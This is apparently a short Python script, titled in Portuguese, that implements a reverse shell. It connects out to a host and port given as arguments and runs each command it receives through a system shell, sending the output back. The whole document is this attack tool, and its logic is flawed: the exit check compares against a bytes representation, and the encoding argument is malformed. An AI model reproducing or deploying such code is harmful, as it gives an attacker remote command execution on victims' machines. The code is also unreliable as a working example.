código

import socket, subprocess as sp, sys

host = str(sys.argv[1])
port = int(sys.argv[2])

conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((host,port))
conn.send(bytes('Conectado >>', 'utf-8'))

while 1:
    recvd = conn.recv(1024)

    for c in recvd:
        format(c, "02X")


    command = str(recvd)

    if command != "exit()":
        proc = sp.Popen(command, shell=True, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
        saida = proc.stdout.read() + proc.stderr.read()

        out, err = proc.communicate()
        result = str(out) + str(err)
        length = str(len(result)).zfill(16)
        c = conn.send(bytes(result + length, '\n' 'utf-8'))
        print(c)


    else:
        break

conn.close()